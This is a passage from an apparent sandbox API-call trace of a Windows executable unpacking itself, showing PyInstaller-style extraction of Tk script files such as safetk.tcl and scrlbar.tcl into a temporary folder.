lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.795] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.795] GetFileType (hFile=0x10c) returned 0x1 [0044.795] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.795] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.795] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.795] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.795] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.795] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.795] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.795] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.796] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.796] CloseHandle (hObject=0x10c) returned 1 [0044.796] GetLastError () returned 0x0 [0044.796] SetLastError (dwErrCode=0x0) [0044.796] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\safetk.tcl") returned 59 [0044.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\safetk.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\safetk.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.796] GetLastError () returned 0x2 [0044.796] SetLastError (dwErrCode=0x2) [0044.796] GetLastError () returned 0x2 [0044.796] SetLastError (dwErrCode=0x2) [0044.796] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\safetk.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\safetk.tcl", lpFilePart=0x0) returned 0x3a [0044.796] GetLastError () returned 0x2 [0044.796] SetLastError (dwErrCode=0x2) [0044.796] GetLastError () returned 0x2 [0044.796] SetLastError (dwErrCode=0x2) [0044.796] GetLastError () returned 0x2 [0044.796] SetLastError (dwErrCode=0x2) [0044.796] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\safetk.tcl") returned 59 [0044.796] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\safetk.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\safetk.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.796] GetFileType (hFile=0x10c) returned 0x1 [0044.796] htonl (hostlong=0x611c0000) returned 0x1c61 [0044.796] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.797] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.797] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xc61, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xc61, lpOverlapped=0x0) returned 1 [0044.798] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.798] CloseHandle (hObject=0x10c) returned 1 [0044.798] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.798] htonl (hostlong=0x20000000) returned 0x20 [0044.798] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.798] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.798] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.798] GetFileType (hFile=0x10c) returned 0x1 [0044.798] htonl (hostlong=0x887b5f00) returned 0x5f7b88 [0044.798] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x642b88, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.798] htonl (hostlong=0x9b080000) returned 0x89b [0044.798] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x89b) returned 0x55e278 [0044.798] htonl (hostlong=0x9b080000) returned 0x89b [0044.798] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.798] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.798] htonl (hostlong=0xb81d0000) returned 0x1db8 [0044.798] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1db8) returned 0x562098 [0044.798] htonl (hostlong=0x9b080000) returned 0x89b [0044.798] htonl (hostlong=0xb81d0000) returned 0x1db8 [0044.798] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563e58 [0044.798] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563e58 | out: hHeap=0x530000) returned 1 [0044.798] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.798] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.798] CloseHandle (hObject=0x10c) returned 1 [0044.799] GetLastError () returned 0x0 [0044.799] SetLastError (dwErrCode=0x0) [0044.799] GetLastError () returned 0x0 [0044.799] SetLastError (dwErrCode=0x0) [0044.799] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.799] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.799] GetFileType (hFile=0x10c) returned 0x1 [0044.799] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.799] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.799] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.799] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.799] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.799] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.799] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.799] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.799] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.799] CloseHandle (hObject=0x10c) returned 1 [0044.799] GetLastError () returned 0x0 [0044.799] SetLastError (dwErrCode=0x0) [0044.799] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\scale.tcl") returned 58 [0044.799] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\scale.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\scale.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.799] GetLastError () returned 0x2 [0044.799] SetLastError (dwErrCode=0x2) [0044.799] GetLastError () returned 0x2 [0044.799] SetLastError (dwErrCode=0x2) [0044.799] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\scale.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\scale.tcl", lpFilePart=0x0) returned 0x39 [0044.799] GetLastError () returned 0x2 [0044.800] SetLastError (dwErrCode=0x2) [0044.800] GetLastError () returned 0x2 [0044.800] SetLastError (dwErrCode=0x2) [0044.800] GetLastError () returned 0x2 [0044.800] SetLastError (dwErrCode=0x2) [0044.800] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\scale.tcl") returned 58 [0044.800] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.800] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\scale.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\scale.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.800] GetFileType (hFile=0x10c) returned 0x1 [0044.800] htonl (hostlong=0xb81d0000) returned 0x1db8 [0044.800] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0044.801] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.801] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xdb8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xdb8, lpOverlapped=0x0) returned 1 [0044.801] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.801] CloseHandle (hObject=0x10c) returned 1 [0044.802] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.802] htonl (hostlong=0x20000000) returned 0x20 [0044.802] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.802] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.802] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.802] GetFileType (hFile=0x10c) returned 0x1 [0044.802] htonl (hostlong=0x23845f00) returned 0x5f8423 [0044.802] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x643423, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.802] htonl (hostlong=0x10c0000) returned 0xc01 [0044.802] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc01) returned 0x55e278 [0044.802] htonl (hostlong=0x10c0000) returned 0xc01 [0044.802] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.802] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.802] htonl (hostlong=0xe62e0000) returned 0x2ee6 [0044.802] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2ee6) returned 0x562098 [0044.802] htonl (hostlong=0x10c0000) returned 0xc01 [0044.802] htonl (hostlong=0xe62e0000) returned 0x2ee6 [0044.802] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x564f88 [0044.802] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564f88 | out: hHeap=0x530000) returned 1 [0044.802] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.802] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.802] CloseHandle (hObject=0x10c) returned 1 [0044.802] GetLastError () returned 0x0 [0044.803] SetLastError (dwErrCode=0x0) [0044.803] GetLastError () returned 0x0 [0044.803] SetLastError (dwErrCode=0x0) [0044.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.803] GetFileType (hFile=0x10c) returned 0x1 [0044.803] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.803] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.803] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.803] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.803] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.803] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.803] CloseHandle (hObject=0x10c) returned 1 [0044.803] GetLastError () returned 0x0 [0044.803] SetLastError (dwErrCode=0x0) [0044.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\scrlbar.tcl") returned 60 [0044.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\scrlbar.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\scrlbar.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.803] GetLastError () returned 0x2 [0044.803] SetLastError (dwErrCode=0x2) [0044.803] GetLastError () returned 0x2 [0044.803] SetLastError (dwErrCode=0x2) [0044.803] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\scrlbar.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\scrlbar.tcl", lpFilePart=0x0) returned 0x3b [0044.803] GetLastError () returned 0x2 [0044.804] SetLastError (dwErrCode=0x2) [0044.804] GetLastError () returned 0x2 [0044.804] SetLastError (dwErrCode=0x2) [0044.804] GetLastError () returned 0x2 [0044.804] SetLastError (dwErrCode=0x2) [0044.804] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\scrlbar.tcl") returned 60 [0044.804] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.804] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\scrlbar.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\scrlbar.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.804] GetFileType (hFile=0x10c) returned 0x1 [0044.804] htonl (hostlong=0xe62e0000) returned 0x2ee6 [0044.804] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0044.805] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.805] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xee6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xee6, lpOverlapped=0x0) returned 1 [0044.805] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.805] CloseHandle (hObject=0x10c) returned 1 [0044.805] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.805] htonl (hostlong=0x30000000) returned 0x30 [0044.805] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.805] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.806] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.806] GetFileType (hFile=0x10c) returned 0x1 [0044.806] htonl (hostlong=0x24905f00) returned 0x5f9024 [0044.806] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x644024, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.806] htonl (hostlong=0xb40f0000) returned 0xfb4 [0044.806] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb4) returned 0x561090 [0044.806] htonl (hostlong=0xb40f0000) returned 0xfb4 [0044.806] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x562050 [0044.806] ReadFile (in: hFile=0x10c, lpBuffer=0x562050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x562050*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.806] htonl (hostlong=0xef3a0000) returned 0x3aef [0044.807] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3aef) returned 0x563058 [0044.807] htonl (hostlong=0xb40f0000) returned 0xfb4 [0044.807] htonl (hostlong=0xef3a0000) returned 0x3aef [0044.807] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x566b50 [0044.807] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x566b50 | out: hHeap=0x530000) returned 1 [0044.807] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.807] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562050 | out: hHeap=0x530000) returned 1 [0044.807] CloseHandle (hObject=0x10c) returned 1 [0044.807] GetLastError () returned 0x0 [0044.807] SetLastError (dwErrCode=0x0) [0044.807] GetLastError () returned 0x0 [0044.807] SetLastError (dwErrCode=0x0) [0044.807] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.807] GetFileType (hFile=0x10c) returned 0x1 [0044.807] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.807] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.808] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.808] CloseHandle (hObject=0x10c) returned 1 [0044.808] GetLastError () returned 0x0 [0044.808] SetLastError (dwErrCode=0x0) [0044.808] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, 